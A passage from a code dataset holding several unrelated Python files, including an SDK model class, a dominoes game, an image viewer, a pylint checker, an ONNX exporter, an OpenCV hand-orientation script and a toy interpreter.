E501\n        :type: int\n        \"\"\"\n\n        self._eri_discovery_interval = eri_discovery_interval\n\n    @property\n    def enable_eri_discovery(self):\n        \"\"\"Gets the enable_eri_discovery of this DataSource.  # noqa: E501\n\n\n        :return: The enable_eri_discovery of this DataSource.  # noqa: E501\n        :rtype: bool\n        \"\"\"\n        return self._enable_eri_discovery\n\n    @enable_eri_discovery.setter\n    def enable_eri_discovery(self, enable_eri_discovery):\n        \"\"\"Sets the enable_eri_discovery of this DataSource.\n\n\n        :param enable_eri_discovery: The enable_eri_discovery of this DataSource.  # noqa: E501\n        :type: bool\n        \"\"\"\n\n        self._enable_eri_discovery = enable_eri_discovery\n\n    @property\n    def collect_interval(self):\n        \"\"\"Gets the collect_interval of this DataSource.  # noqa: E501\n\n\n        :return: The collect_interval of this DataSource.  # noqa: E501\n        :rtype: int\n        \"\"\"\n        return self._collect_interval\n\n    @collect_interval.setter\n    def collect_interval(self, collect_interval):\n        \"\"\"Sets the collect_interval of this DataSource.\n\n\n        :param collect_interval: The collect_interval of this DataSource.  # noqa: E501\n        :type: int\n        \"\"\"\n        if collect_interval is None:\n            raise ValueError(\"Invalid value for `collect_interval`, must not be `None`\")  # noqa: E501\n\n        self._collect_interval = collect_interval\n\n    @property\n    def name(self):\n        \"\"\"Gets the name of this DataSource.  # noqa: E501\n\n\n        :return: The name of this DataSource.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._name\n\n    @name.setter\n    def name(self, name):\n        \"\"\"Sets the name of this DataSource.\n\n\n        :param name: The name of this DataSource.  # noqa: E501\n        :type: str\n        \"\"\"\n        if name is None:\n            raise ValueError(\"Invalid value for `name`, must not be `None`\")  # noqa: E501\n\n        self._name = name\n\n    @property\n    def data_points(self):\n        \"\"\"Gets the data_points of this DataSource.  # noqa: E501\n\n\n        :return: The data_points of this DataSource.  # noqa: E501\n        :rtype: list[DataPoint]\n        \"\"\"\n        return self._data_points\n\n    @data_points.setter\n    def data_points(self, data_points):\n        \"\"\"Sets the data_points of this DataSource.\n\n\n        :param data_points: The data_points of this DataSource.  # noqa: E501\n        :type: list[DataPoint]\n        \"\"\"\n\n        self._data_points = data_points\n\n    @property\n    def id(self):\n        \"\"\"Gets the id of this DataSource.  # noqa: E501\n\n\n        :return: The id of this DataSource.  # noqa: E501\n        :rtype: int\n        \"\"\"\n        return self._id\n\n    @id.setter\n    def id(self, id):\n        \"\"\"Sets the id of this DataSource.\n\n\n        :param id: The id of this DataSource.  # noqa: E501\n        :type: int\n        \"\"\"\n\n        self._id = id\n\n    @property\n    def group(self):\n        \"\"\"Gets the group of this DataSource.  # noqa: E501\n\n\n        :return: The group of this DataSource.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._group\n\n    @group.setter\n    def group(self, group):\n        \"\"\"Sets the group of this DataSource.\n\n\n        :param group: The group of this DataSource.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._group = group\n\n    def to_dict(self):\n        \"\"\"Returns the model properties as a dict\"\"\"\n        result = {}\n\n        for attr, _ in six.iteritems(self.swagger_types):\n            value = getattr(self, attr)\n            if isinstance(value, list):\n                result[attr] = list(map(\n                    lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n                    value\n                ))\n            elif hasattr(value, \"to_dict\"):\n                result[attr] = value.to_dict()\n            elif isinstance(value, dict):\n                result[attr] = dict(map(\n                    lambda item: (item[0], item[1].to_dict())\n                    if hasattr(item[1], \"to_dict\") else item,\n                    value.items()\n                ))\n            else:\n                result[attr] = value\n        if issubclass(DataSource, dict):\n            for key, value in self.items():\n                result[key] = value\n\n        return result\n\n    def to_str(self):\n        \"\"\"Returns the string representation of the model\"\"\"\n        return pprint.pformat(self.to_dict())\n\n    def __repr__(self):\n        \"\"\"For `print` and `pprint`\"\"\"\n        return self.to_str()\n\n    def __eq__(self, other):\n        \"\"\"Returns true if both objects are equal\"\"\"\n        if not isinstance(other, DataSource):\n            return False\n\n        return self.__dict__ == other.__dict__\n\n    def __ne__(self, other):\n        \"\"\"Returns true if both objects are not equal\"\"\"\n        return not self == other\n","repo_name":"j1anm1nxu/logicmonitor_sdk","sub_path":"logicmonitor_sdk/models/data_source.py","file_name":"data_source.py","file_ext":"py","file_size_in_byte":18619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"35703224702","text":"import random\n\n\ndef isint(num):  # check if input is an int\n    try:\n        int(num)\n        return True\n    except ValueError:\n        return False\n\n\ndomino_set = [[x, y] for x in range(7) for y in range(x, 7)]  # create the set\nrandom.shuffle(domino_set)\n\nplayer_pieces = domino_set[:7]\ncomputer_pieces = domino_set[7:14]\nstock_pieces = domino_set[14:]\n\ndomino_snake = []\n\nstatus = \"\"\nhighest_piece = 0\n\nwhile True:\n    doubles = [piece for piece in player_pieces + computer_pieces if piece[0] == piece[1]]  # find the biggest piece from a player\n    if len(doubles) == 0:\n        continue\n    highest_piece = max(doubles)\n\n    if highest_piece in player_pieces:\n        domino_snake.append(player_pieces.pop(player_pieces.index(highest_piece)))\n        status = 'computer'\n        break\n    else:\n        domino_snake.append(computer_pieces.pop(computer_pieces.index(highest_piece)))\n        status = 'player'\n        break\n\nthe_game = [highest_piece]\n\nwhile True:             # interface\n    print(\"=\" * 70)\n    print(f'Stock size: {len(stock_pieces)}')\n    print(f'Computer pieces: {len(computer_pieces)}')\n\n    if len(the_game) <= 6:\n        the_game_string = [str(a) for a in the_game]\n    else:\n        the_game_string = [str(the_game[0]), str(the_game[1]), str(the_game[2]), \"...\", str(the_game[-3]), str(the_game[-2]), str(the_game[-1])]\n\n    print(f'''\n{\"\".join(the_game_string)}\n''')\n\n    index = 0\n    number = 1\n\n    print(\"Your pieces:\")\n    while index < len(player_pieces):     # show player pieces\n        print(f\"{number}:{player_pieces[index]}\")\n        index += 1\n        number += 1\n\n    if len(player_pieces) == 0:           # win condition\n        print(\"Status: The game is over. You won!\")\n        break\n    elif len(computer_pieces) == 0:\n        print(\"Status: The game is over. The computer won!\")\n        break\n    elif len(stock_pieces) == 0:\n        print(\"Status: The game is over. It's a draw!\")\n        break\n    print(\"\")\n\n    if status == \"computer\":                   # computer player\n        counter = False\n        answer = input(\"Status: Computer is about to make a move. Press Enter to continue...\\n\")\n        for size in range(len(computer_pieces)):\n            counter = False\n            piece = computer_pieces[size]\n            if piece[0] == the_game[-1][1]:      # check if computer has a valid move\n                the_game.append(piece)\n                computer_pieces.remove(piece)\n                status = \"player\"\n                break\n\n            elif piece[1] == the_game[-1][1]:\n                piece = [piece[1], piece[0]]\n                the_game.append(piece)\n                piece = computer_pieces[size]\n                computer_pieces.remove(piece)\n                status = \"player\"\n                break\n\n            elif piece[1] == the_game[0][0]:\n                the_game.insert(0, piece)\n                computer_pieces.remove(piece)\n                status = \"player\"\n                break\n\n            elif piece[1] == the_game[0][0]:\n                piece = [piece[1], piece[0]]\n                the_game.insert(0, piece)\n                piece = computer_pieces[size]\n                computer_pieces.remove(piece)\n                status = \"player\"\n                break\n            else:\n                counter = True\n        if counter:\n            piece = random.choice(stock_pieces)\n            computer_pieces.append(piece)\n            stock_pieces.remove(piece)\n            status = \"player\"\n\n    else:                                 # player\n        answer = input(\"Status: It's your turn to make a move. Enter your command.\\n\")\n        while True:\n            if isint(answer) and -len(player_pieces) <= int(answer) <= len(player_pieces):\n                if int(answer) > 0:\n                    piece = player_pieces[int(answer) - 1]    # check if is a valid move(right side)\n\n                    if piece[0] == the_game[-1][1]:\n                        the_game.append(piece)\n                        player_pieces.remove(piece)\n                        status = \"computer\"\n                        break\n\n                    elif piece[1] == the_game[-1][1]:\n                        piece = [piece[1], piece[0]]\n                        the_game.append(piece)\n                        piece = player_pieces[int(answer) - 1]\n                        player_pieces.remove(piece)\n                        status = \"computer\"\n                        break\n\n                    else:\n                        answer = input(\"Illegal move. Please try again.\\n\")\n\n                elif int(answer) < 0:\n                    piece = player_pieces[abs(int(answer)) - 1]      # check if is a valid move(left side)\n\n                    if piece[1] == the_game[0][0]:\n                        the_game.insert(0, piece)\n                        player_pieces.remove(piece)\n                        status = \"computer\"\n                        break\n\n                    elif piece[0] == the_game[0][0]:\n                        piece = [piece[1], piece[0]]\n                        the_game.insert(0, piece)\n                        piece = player_pieces[abs(int(answer)) - 1]\n                        player_pieces.remove(piece)\n                        status = \"computer\"\n                        break\n\n                    else:\n                        answer = input(\"Illegal move. Please try again.\\n\")\n\n                else:\n                    piece = random.choice(stock_pieces)\n                    player_pieces.append(piece)\n                    stock_pieces.remove(piece)\n                    status = \"computer\"\n                    break\n            else:\n                answer = input(\"Invalid input. Please try again.\\n\")\n","repo_name":"iragut/Dominoes","sub_path":"Dominoes_game.py","file_name":"Dominoes_game.py","file_ext":"py","file_size_in_byte":5685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"33495501350","text":"import os\r\nimport wx\r\nfrom lxml import *\r\nfrom lxml.html import *\r\nimport requests\r\nclass PhotoCtrl(wx.App):\r\n    def __init__(self, redirect=False, filename=None):\r\n        wx.App.__init__(self, redirect, filename)\r\n        self.frame = wx.Frame(None, title='Photo Control')\r\n        self.panel = wx.Panel(self.frame)\r\n        self.PhotoMaxSize = 240\r\n        self.createWidgets()\r\n        self.frame.Show()\r\n\r\n    def createWidgets(self):\r\n        img = wx.EmptyImage(240, 240)\r\n        self.imageCtrl = wx.StaticBitmap(self.panel, wx.ID_ANY,\r\n                                         wx.BitmapFromImage(img))\r\n\r\n        self.photoTxt = wx.TextCtrl(self.panel, size=(200, -1))\r\n\r\n\r\n        self.mainSizer = wx.BoxSizer(wx.VERTICAL)\r\n        self.sizer = wx.BoxSizer(wx.HORIZONTAL)\r\n\r\n        self.mainSizer.Add(wx.StaticLine(self.panel, wx.ID_ANY),\r\n                           0, wx.ALL | wx.EXPAND, 5)\r\n        self.mainSizer.Add(self.imageCtrl, 0, wx.ALL, 5)\r\n        self.sizer.Add(self.photoTxt, 0, wx.ALL, 5)\r\n\r\n        self.mainSizer.Add(self.sizer, 0, wx.ALL, 5)\r\n\r\n        self.panel.SetSizer(self.mainSizer)\r\n        self.mainSizer.Fit(self.frame)\r\n\r\n        self.panel.Layout()\r\n\r\n\r\n\r\n    def onView(self, element):\r\n\r\n        filepath = requests.get(element.attrib['src']).content\r\n        img = wx.Image(filepath, wx.BITMAP_TYPE_ANY)\r\n        # scale the image, preserving the aspect ratio\r\n        W = img.GetWidth()\r\n        H = img.GetHeight()\r\n        if W > H:\r\n            NewW = self.PhotoMaxSize\r\n            NewH = self.PhotoMaxSize * H / W\r\n        else:\r\n            NewH = self.PhotoMaxSize\r\n            NewW = self.PhotoMaxSize * W / H\r\n        img = img.Scale(NewW, NewH)\r\n\r\n        self.imageCtrl.SetBitmap(wx.BitmapFromImage(img))\r\n        self.panel.Refresh()\r\n\r\nif __name__ == '__main__':\r\n    app = PhotoCtrl()\r\n    app.MainLoop()","repo_name":"Bingopop/webwrest","sub_path":"imgload.py","file_name":"imgload.py","file_ext":"py","file_size_in_byte":1863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34272698934","text":"from greenflow.dataframe_flow import Node\nfrom greenflow.dataframe_flow.portsSpecSchema import ConfSchema\nfrom .._port_type_node import _PortTypesMixin\n\n\nclass RenameNode(_PortTypesMixin, Node):\n\n    def init(self):\n        _PortTypesMixin.init(self)\n        self.INPUT_PORT_NAME = 'in'\n        self.OUTPUT_PORT_NAME = 'out'\n\n    def ports_setup(self):\n        return _PortTypesMixin.ports_setup(self)\n\n    def conf_schema(self):\n        json = {\n            \"title\": \"Rename Node configure\",\n            \"type\": \"object\",\n            \"description\": \"\"\"Rename the column name in the datafame from `old` to `new`\n             defined in the node's conf\"\"\",\n            \"properties\": {\n                \"old\":  {\n                    \"type\": \"string\",\n                    \"description\": \"\"\"the old column name that need to be\n                    replaced\"\"\"\n                },\n                \"new\":  {\n                    \"type\": \"string\",\n                    \"description\": \"the new column name\"\n                }\n            },\n            \"required\": [\"old\", \"new\"],\n        }\n        ui = {\n        }\n        input_meta = self.get_input_meta()\n        if self.INPUT_PORT_NAME in input_meta:\n            col_from_inport = input_meta[self.INPUT_PORT_NAME]\n            enums = [col for col in col_from_inport.keys()]\n            json['properties']['old']['enum'] = enums\n            return ConfSchema(json=json, ui=ui)\n        else:\n            return ConfSchema(json=json, ui=ui)\n\n    def process(self, inputs):\n        \"\"\"\n        Rename the column name in the datafame from `old` to `new` defined in\n        the node's conf\n\n        Arguments\n        -------\n         inputs: list\n            list of input dataframes.\n        Returns\n        -------\n        dataframe\n        \"\"\"\n        input_df = inputs[self.INPUT_PORT_NAME]\n        new_column = self.conf['new']\n        old_column = self.conf['old']\n        return {self.OUTPUT_PORT_NAME: input_df.rename(columns={\n            old_column: new_column})}\n\n    def meta_setup(self):\n        empty = {}\n        if 'new' in self.conf and 'old' in self.conf:\n            input_meta = self.get_input_meta()\n            if self.INPUT_PORT_NAME not in input_meta:\n                return _PortTypesMixin.retention_meta_setup(self,\n                                                            {},\n                                                            required=empty)\n            else:\n                col_from_inport = input_meta[self.INPUT_PORT_NAME]\n                oldType = col_from_inport[self.conf['old']]\n                del col_from_inport[self.conf['old']]\n                col_from_inport[self.conf['new']] = oldType\n                return _PortTypesMixin.retention_meta_setup(self,\n                                                            col_from_inport,\n                                                            required=empty)\n        else:\n            return _PortTypesMixin.retention_meta_setup(self,\n                                                        {},\n                                                        required=empty)\n","repo_name":"emendamus/fsi-samples","sub_path":"gQuant/plugins/gquant_plugin/greenflow_gquant_plugin/transform/renameNode.py","file_name":"renameNode.py","file_ext":"py","file_size_in_byte":3103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"38319604788","text":"from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom astroid import nodes\n\nfrom pylint.checkers import BaseChecker\nfrom pylint.checkers.utils import only_required_for_messages\n\nif TYPE_CHECKING:\n    from pylint.lint import PyLinter\n\n\nclass ConfusingConsecutiveElifChecker(BaseChecker):\n    \"\"\"Checks if \"elif\" is used right after an indented block that finishes with \"if\" or\n    \"elif\" itself.\n    \"\"\"\n\n    name = \"confusing_elif\"\n    msgs = {\n        \"R5601\": (\n            \"Consecutive elif with differing indentation level, consider creating a function to separate the inner\"\n            \" elif\",\n            \"confusing-consecutive-elif\",\n            \"Used when an elif statement follows right after an indented block which itself ends with if or elif. \"\n            \"It may not be ovious if the elif statement was willingly or mistakenly unindented. \"\n            \"Extracting the indented if statement into a separate function might avoid confusion and prevent \"\n            \"errors.\",\n        )\n    }\n\n    @only_required_for_messages(\"confusing-consecutive-elif\")\n    def visit_if(self, node: nodes.If) -> None:\n        body_ends_with_if = isinstance(\n            node.body[-1], nodes.If\n        ) and self._has_no_else_clause(node.body[-1])\n        if node.has_elif_block() and body_ends_with_if:\n            self.add_message(\"confusing-consecutive-elif\", node=node.orelse[0])\n\n    @staticmethod\n    def _has_no_else_clause(node: nodes.If) -> bool:\n        orelse = node.orelse\n        while orelse and isinstance(orelse[0], nodes.If):\n            orelse = orelse[0].orelse\n        if not orelse or isinstance(orelse[0], nodes.If):\n            return True\n        return False\n\n\ndef register(linter: PyLinter) -> None:\n    linter.register_checker(ConfusingConsecutiveElifChecker(linter))\n","repo_name":"pylint-dev/pylint","sub_path":"pylint/extensions/confusing_elif.py","file_name":"confusing_elif.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","stars":4936,"dataset":"github-code","pt":"3"}
+{"seq_id":"5609710507","text":"from typing import Optional\nfrom functools import partial\nfrom copy import copy\nimport torch\n\nfrom nncf.common.exporter import Exporter\nfrom nncf.torch.dynamic_graph.graph_tracer import create_mock_tensor\n\n\nclass PTExporter(Exporter):\n    \"\"\"\n    This class provides export of the compressed model to the ONNX format.\n    \"\"\"\n\n    _ONNX_FORMAT = 'onnx'\n\n    def export_model(self, save_path: str, save_format: Optional[str] = None) -> None:\n        \"\"\"\n        Exports the compressed model to the specified format.\n\n        :param save_path: The path where the model will be saved.\n        :param save_format: Saving format.\n            One of the following:\n                - `onnx` for export to the ONNX format.\n            The ONNX format will be used if `save_format` is not specified.\n        \"\"\"\n        if save_format is None:\n            save_format = PTExporter._ONNX_FORMAT\n\n        format_to_export_fn = {\n            PTExporter._ONNX_FORMAT: self._export_to_onnx,\n        }\n\n        export_fn = format_to_export_fn.get(save_format)\n\n        if export_fn is None:\n            available_formats = list(format_to_export_fn.keys())\n            raise ValueError(f'Unsupported saving format: \\'{save_format}\\'. '\n                             f'Available formats: {available_formats}')\n\n        export_fn(save_path)\n\n    def _export_to_onnx(self, save_path: str) -> None:\n        \"\"\"\n        Exports the compressed model to the ONNX format.\n\n        :param save_path: The path where the model will be saved.\n        \"\"\"\n        model = self._model.eval().cpu()\n        input_tensor_list = []\n        for info in self._model.input_infos:\n            single_batch_info = copy(info)\n            input_shape = tuple([1] + list(info.shape)[1:])\n            single_batch_info.shape = input_shape\n            input_tensor_list.append(create_mock_tensor(single_batch_info, 'cpu'))\n\n        original_forward = model.forward\n        args = self._model_args[:-1]\n        kwargs = self._model_args[-1]\n        model.forward = partial(model.forward, *args, **kwargs)\n\n        # pylint:disable=unexpected-keyword-arg\n        with torch.no_grad():\n            # Should call this, otherwise the operations executed during export will end up in graph.\n            model.disable_dynamic_graph_building()\n            torch.onnx.export(model, tuple(input_tensor_list), save_path,\n                              input_names=self._input_names,\n                              output_names=self._output_names,\n                              enable_onnx_checker=False,\n                              opset_version=10,\n                              # Do not fuse Conv+BN in ONNX. May cause dropout elements to appear in ONNX.\n                              training=True)\n            model.enable_dynamic_graph_building()\n        model.forward = original_forward\n","repo_name":"AlexKoff88/nncf_pytorch","sub_path":"nncf/torch/exporter.py","file_name":"exporter.py","file_ext":"py","file_size_in_byte":2838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"5723454391","text":"# import the necessary packages\nimport imutils\nimport cv2\nimport math\n \n# load the image, convert it to grayscale, and blur it slightly\nimage = cv2.imread(\"img3.jpg\")\nimage = cv2.resize(image,(800, 600))\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\ngray = cv2.GaussianBlur(gray, (5, 5), 0)\n \n# threshold the image, then perform a series of erosions and dilations to remove any small regions of noise\nthresh = cv2.threshold(gray, 45, 255, cv2.THRESH_BINARY)[1]\nthresh = cv2.erode(thresh, None, iterations=2)\nthresh = cv2.dilate(thresh, None, iterations=2)\n \n# find contours in thresholded image, then grab the largest one\ncnts = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\ncnts = imutils.grab_contours(cnts)\nc = max(cnts, key=cv2.contourArea)\n\n# compute the center of the contour\nM = cv2.moments(c)\ncX = int(M[\"m10\"] / M[\"m00\"])\ncY = int(M[\"m01\"] / M[\"m00\"])\nprint(\"Center : ({}, {} ) \".format( cX, cY))\n\n\n# draw the contour and center of the shape on the image\ncv2.drawContours(image, [c], -1, (0, 255, 0), 2)\ncv2.circle(image, (cX, cY), 7, (255, 255, 255), -1)\ncv2.putText(image, \"(c_X, c_Y) \", (cX - 20, cY - 20), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255), 2)\n\n#find the extremeleft finger tip\nextLeft = tuple(c[c[:, :, 0].argmin()][0])\n(ex_x, ex_y) = extLeft\nprint (\"Leftmost point : ({}, {}) \".format(ex_x, ex_y))\n\ncv2.circle(image, extLeft, 7, (0, 0, 255), -1)\n\n#calculating the distace between center and topmost point\nleftdist = math.sqrt((ex_x - cX)**2 + (ex_y - cY)**2)\nprint(\"distance from center to leftmost finger : {} \".format(leftdist))\n\n\n#find the rightmost finger tip\nextRight = tuple(c[c[:, :, 0].argmax()][0])\n(ex_x, ex_y) = extRight\nprint (\"Rightmost point : ({}, {}) \".format(ex_x, ex_y))\n\ncv2.circle(image, extRight, 7, (0, 0, 255), -1)\n\n#calculating the distace between center and topmost point\nrightdist = math.sqrt((ex_x - cX)**2 + (ex_y - cY)**2)\nprint(\"distance from center to rigthmost finger : {} \".format(rightdist))\n\n#findig the upper most  finger point\nextTop = tuple(c[c[:, :, 1].argmin()][0])\n(top_x, top_y) = extTop\nprint (\"Topmost point : ({}, {}) \".format(top_x, top_y))\n\ncv2.circle(image, extTop, 8, (255, 0, 0), -1)\ncv2.putText(image, \"(top_x, top_y)\", (top_x - 20, top_y - 20), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255), 2)\n\n#calculating the distace between center and topmost point\ndist = math.sqrt((top_x - cX)**2 + (top_y - cY)**2)\nprint(\"distance from center to middle finger: {} \".format(dist))\n\n\n#Drawing the Y axis point where line from center meets\ncv2.circle(image, (cX, top_y), 7, (255, 0, 255), -1)\ncv2.putText(image, \"(X_center,top_y)\", (cX - 20, top_y), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255), 2)\n\n#Draw the line joining the point center to tip and center to y_axis\ncv2.line(image, (cX,cY), extTop, (0,0,0), 2)\ncv2.line(image, (cX,cY), (cX ,top_y), (255,255,0), 2)\n\n#find angle \ntheta = math.degrees(math.atan2(top_y - cY, top_x - cX) - math.atan2(top_y - cY, cX - cX))\nprint(\"angle : {} \".format(theta))\n\n\n\n#rotate the image about the axis with angle calculated\n(h, w) = image.shape[:2]\ncenter = (w // 2, h // 2)\nM = cv2.getRotationMatrix2D(center, theta, 1.0)\nrotated = cv2.warpAffine(image, M, (w, h),flags=cv2.INTER_CUBIC, borderMode=cv2.BORDER_REPLICATE)\n\n#Print the original image and the rotated image.\ncv2.imshow(\"Image\", image)\ncv2.imshow(\"Rotated\", rotated)\ncv2.waitKey(30000)\n\n","repo_name":"aryanaman/palm_orientation_correction","sub_path":"orientation_corr.py","file_name":"orientation_corr.py","file_ext":"py","file_size_in_byte":3392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32372507052","text":"import pygame\r\n\r\nfrom window import Window\r\nfrom . import font, center\r\nfrom constants import *\r\nfrom .widget.button import Button\r\n\r\nclass GameRules:\r\n\r\n    def __init__(self):\r\n        self.screen  = pygame.display.set_mode((600,600))\r\n        self.rules = [\r\n            '       swipe the screen up, down ,right or left to move all',\r\n            ' numbers tiles in that diredtion. Each tile moves in that',\r\n            'direction until it the wall or another tile hits the wall',\r\n            'or another tile (use your arrow keys in the computer vision)',\r\n            '',\r\n            '       each time you make a move, a new 2 or 4 tile appears in',\r\n            'empoty spot in a row or column that was moved last move'\r\n        ]\r\n\r\n    \r\n    def draw(self):\r\n        self.screen.fill(\r\n            LIGHT_YELLOW\r\n        )\r\n        f = font(30)\r\n        f.set_bold(True)\r\n        title = f.render('GAME RULES', True, (0,0,0))\r\n        self.screen.blit(title, center(pygame.Rect(0,0,600,150), title))\r\n\r\n        i = 150\r\n        for l in self.rules:\r\n            if len(l) != 0:\r\n                text = font(20).render(l, True, (0,0,0))\r\n                self.screen.blit(text, (20, i))\r\n            i+= 20\r\n\r\n        Button(None, 500, 'HOME', Window.switch)\\\r\n            .draw(self.screen)","repo_name":"msahtani/game-2048","sub_path":"UI/game_rules.py","file_name":"game_rules.py","file_ext":"py","file_size_in_byte":1299,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"39107104895","text":"def solution(num):\n    answer = True\n    num = str(num)\n    num_list = list(num)\n    \n    s = 0\n    for i in num_list: \n        s += int(i)\n    \n    if(int(num) % s == 0) :  answer = True\n    else :  answer = False\n\n    return answer\n\n\nprint(solution(13))\n","repo_name":"yMinOu/Programmers-Algorithm","sub_path":"Programmers/[Level 1]/하샤드 수/하샤드 수.py","file_name":"하샤드 수.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"15360955129","text":"print(\"Welcome to our Lottery!\\n\" + \"-----------------------\\n\" + \"One roulette spin costs 3 NIS.\\nThe number of attempts is now limited.\\n\")\na=int(input(\"Please, make a payment!..\\n\"))\nturns=(a//3)\nprint(\"You have {0} attempts. Good luck!\".format(str(turns)))\nprint(\"Your change is... \" + str(a%3) + \" NIS. Enjoy your game!\\n\" + \"-----------------------------------------\")\n\nfrom random import randint\nfrom time import sleep\nprint(\"Let's play...\\n\")\nsleep(2)\ntotal=0\n\nfor i in range(turns):\n    print(\"Round # \" + str(i+1) + \"\\n--------\")\n    sleep(2)\n    num1=(randint(1,6))\n    num2=(randint(1,6))\n    print(\"1st number: \" + str(num1) + \"\\n2nd number: \" + str(num2) + \"\\n\")\n\n    if num1==num2:\n        total=total+100\n    elif num1==6==num2:\n        total=total+1000\n    elif num2==2!=num1:\n        total=total+40\n    elif num1==1!=num2:\n        total=total+20\n\nsleep(2)\nprint(\"Congratulations! You won \" + str(total) + \" NIS\" + \"\\nThank you for joining us tonight! \\nWe are looking forward seeing you again!\")","repo_name":"estherica/wonderland","sub_path":"Labs/LAB7.py","file_name":"LAB7.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40367399565","text":"\"\"\"AudiobookshelfEntity class\"\"\"\nfrom typing import Any\n\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.helpers.update_coordinator import CoordinatorEntity\n\nfrom .const import ATTRIBUTION, DOMAIN, NAME, VERSION\n\n\nclass AudiobookshelfEntity(CoordinatorEntity):\n    \"\"\"Extends the Coordinator Entity which handles polling\"\"\"\n\n    def __init__(\n        self,\n        coordinator: CoordinatorEntity,\n        config_entry: ConfigEntry,\n    ) -> None:\n        super().__init__(coordinator)\n        self.config_entry = config_entry\n\n    @property\n    def unique_id(self) -> str:\n        \"\"\"Return a unique ID to use for this entity.\"\"\"\n        return self.config_entry.entry_id\n\n    @property\n    def device_info(self) -> dict[str, Any]:\n        return {\n            \"identifiers\": {(DOMAIN, self.unique_id)},\n            \"name\": NAME,\n            \"model\": VERSION,\n            \"manufacturer\": NAME,\n        }\n\n    @property\n    def device_state_attributes(self) -> dict[str, str]:\n        \"\"\"Return the state attributes.\"\"\"\n        return {\n            \"attribution\": ATTRIBUTION,\n            \"id\": str(self.coordinator.data.get(\"id\")),\n            \"integration\": DOMAIN,\n        }\n","repo_name":"wolffshots/hass-audiobookshelf","sub_path":"custom_components/audiobookshelf/entity.py","file_name":"entity.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"3"}
+{"seq_id":"73519318800","text":"import nodes as _nodes\nfrom nodes import get_entry_by_name, unfold_variables\nimport copy\nfrom my_parser import Parser\nfrom my_lexer import lex\nfrom typing import List, Tuple, Any\n\n\ndef interpret(nodes: List[_nodes.Node], node_count: int=0, VARS: List[Tuple[str, str, Any]]=[], FUNCS: List[Tuple[str, _nodes.DefFunc]]=[]) -> Tuple[List[Tuple[str, str, Any]], List[Tuple[str, _nodes.DefFunc]]]:\n    ''' Function that interpretes the given code\n\n    nodes: A list of nodes that contain what needs to happen\n    node_count: A counter to keep track what nodes have been executed already\n    VARS: A list keeping track of all created variables that are currently available\n    FUNCS: A list keeping track of all created functions that are currently available\n    return: The VARS and FUNCS that are currently available\n    '''\n    # print(VARS)\n    if node_count == len(nodes):\n        # If last node has been ran\n        return VARS, FUNCS\n    \n    node = nodes[node_count]\n    if isinstance(node, _nodes.WhileNode):\n        # Register condition\n        lhs = node.lhs if not get_entry_by_name(VARS, node.lhs, 0) else get_entry_by_name(VARS, node.lhs, 0)[-1]\n        rhs = node.rhs if not get_entry_by_name(VARS, node.rhs, 0) else get_entry_by_name(VARS, node.rhs, 0)[-1]\n        \n        ans = node.condition.evaluate_statement(lhs, rhs)\n        # Check whether condition is True or False\n        if ans:\n            # New vars need to be read, 'cause the ones used in the condition could change\n            new_VARS, new_FUNCS = interpret(node.code, 0, VARS, FUNCS)\n            # Keep repeating until ans is false\n            result = interpret([node], 0, new_VARS, new_FUNCS)\n            # Check whether the chosen piece of code ended because of a return-statement, if so, continue returning\n            if type(result) != tuple or any(list(map(lambda x: type(x[1]) == _nodes.Node, result[1]))):\n                return result\n            end_VARS, end_FUNCS = result\n            # Go to the next node\n            return interpret(nodes, node_count + 1, end_VARS, end_FUNCS)\n        else:\n            # Go to the next node\n            return interpret(nodes, node_count + 1, VARS, FUNCS)\n\n    elif isinstance(node, _nodes.IfNode):\n        # Register condition\n        var_lhs = node.lhs if not get_entry_by_name(VARS, node.lhs, 0) else get_entry_by_name(VARS, node.lhs, 0)[-1]\n        var_rhs = node.rhs if not get_entry_by_name(VARS, node.rhs, 0) else get_entry_by_name(VARS, node.rhs, 0)[-1]\n        \n        lhs = unfold_variables(VARS, [var_lhs])[0]\n        rhs = unfold_variables(VARS, [var_rhs])[0]\n        \n        ans = node.condition.evaluate_statement(lhs, rhs)\n        # Check whether condition is True or False\n        if ans:\n            # Run the code within if-statement\n            result = interpret(node.code, 0, VARS, FUNCS)\n            # Check whether the chosen piece of code ended because of a return-statement, if so, continue returning\n            if type(result) != tuple or any(list(map(lambda x: type(x[1]) == _nodes.Node, result[1]))):\n                return result\n            new_VARS, new_FUNCS = result\n            # Go to next node\n            return interpret(nodes, node_count + 1, new_VARS, new_FUNCS)\n        else:\n            # Go to next node\n            return interpret(nodes, node_count + 1, VARS, FUNCS)\n\n    elif isinstance(node, _nodes.DefFunc):\n        # Got to next node, and add new function to FUNCS\n        return interpret(nodes, node_count + 1, VARS, FUNCS + [[node.name, node]])\n\n    elif 